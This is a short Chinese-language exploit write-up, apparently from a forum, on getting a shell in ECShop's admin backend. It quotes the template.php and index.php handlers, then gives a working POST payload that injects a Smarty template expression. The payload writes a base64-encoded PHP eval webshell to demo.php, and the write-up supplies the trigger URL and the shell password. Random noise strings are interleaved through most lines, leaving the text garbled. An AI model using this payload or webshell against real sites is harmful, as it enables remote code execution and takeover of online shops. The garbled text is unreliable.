Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
" Y$ I/ {/ n$ k. O
而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
2 ?8 Z2 n- e# [3 W& ~9 |但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php

" T5 D/ r1 M# E8 Z1 if ($_REQUEST['act'] == 'update_library')

% U; q% M) q0 y; e( R- t5 \2 e2   
. R& u5 Z6 ]6 u9 i& }
/ m$ H5 U7 \) h6 M* [$ W. e3 {
( |( e8 t: F7 {! l! Z& C
4     check_authz_json('library_manage');
  r' Z$ H/ z9 j+ M8 K; Z( T
! D5 v; Y- g/ F* U/ n5   
# i& h/ w1 S  ?$ ]7 |' C, j) l
6     $html = stripslashes(json_str_iconv($_POST['html']));
( K- d; B0 q( W; z9 j
7   

' j9 f: ]6 d- {& K. C9 i, i8 b0 n8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

5 X  F2 a: b# e; O$ q, H2 c9   
3 l  l4 ^& K& @4 O& b
" x$ W) p& y- P7 q10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
3 m& _" c  M( f5 B; `# N; L. X$ y
11   
1 n1 A: U0 t( d3 p4 g6 J5 p/ E
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
) g  n$ S8 L8 q/ q! Q
* g. ^, X7 g. b! H- R0 _13   

" ^/ ~% A. r9 z14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
, C6 b) G3 s" f' n( t
15     {

16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
# F7 {" T0 {, [' D, V
17         make_json_result('', $_LANG['update_lib_success']);
' j. ~- @) k( \' h
18     }
) P' @3 C5 x3 K4 |0 j) ?6 h; U
* a* Y8 [, L( J6 @: q! G! y2 [) S# S9 s19     else
) a8 n+ N  Z& e/ k7 ?/ Q
20     {

1 ]6 I# S$ w. z21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

4 c) c, {4 a$ h0 X" J1 |# k2 B22     }
# N( a1 n: c- k0 j* n6 {
+ y! ]6 u. ^3 o* H% s5 c23 }
" t6 b7 N) p) {" j& i3 R* P
那么找个比较方便调用了模板的文件
/ m9 D; f. p# Q* |& Rindex.php
5 G: j1 U& D! ?
8 T6 q" P6 t( B4 |" R# B: B1 if ($act == 'cat_rec')
* t6 {# C$ V; E! Q! M2 B/ |
2   

# `" y; f  h  x* n3 {
3 p! x; E9 E- f1 G/ F
4   
4 p3 V2 _! G3 e/ K
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

6   

, i0 d7 }/ e  {7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

8   

( y" G, S* j. J, b, D9 n) J9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
7 E' L) x0 B5 w* M- J& A
10   
( n# n# \! p. f3 S1 P
$ H5 R) o) x3 F. N) @3 r8 k* d11     include_once('includes/cls_json.php');
2 b3 e# i6 L9 |7 \! t: p2 m
+ P# K6 A1 z- I; k( Q' D4 G12   

, Y; x8 x8 ?5 r1 b+ |( u# a# b13     $json = new JSON;
. P* ?8 E, m6 E2 f8 s; S$ x% i, f6 j8 K
# C9 d3 ^1 n$ y4 K# E14   
8 J; L- I6 x6 m. [( R
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

16   
' B6 o. U0 X* X4 q
17     $children = get_children($cat_id);
' m; C2 L* |1 O2 w, w
18   
# g. V& d% M' z
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

8 G  p, w# d# z- ]9 x- ?20   

21     $smarty->assign('cat_rec_sign', 1);

/ X! _' T8 Y, k6 s( W22   

! \: K5 b9 S  \$ p23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

24   

25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

# ?4 w2 J: S  v26   
* K4 k" L6 @  Q. k+ l
27         echo $rec_array[$rec_type];

28   

* k' f( q: ]  S29     die($json->encode($result));
- |7 Q, |/ ~1 S- r2 u
5 L0 V8 l" X4 Q3 T: J30   

9 i4 G9 I" |' x3 K/ w31 }

% D5 I6 S! p6 I7 T那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
Post内容：

​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

7 X! x/ [- ^. c" L然后访问http://localhost/ec/index.php?act=cat_rec
) u6 V9 K- c, o1 H7 b
4 `4 T2 S* H6 \. j6 Lshel地址：http://localhost/ec/demo.php
密码c
2 p. g+ u( x7 C( E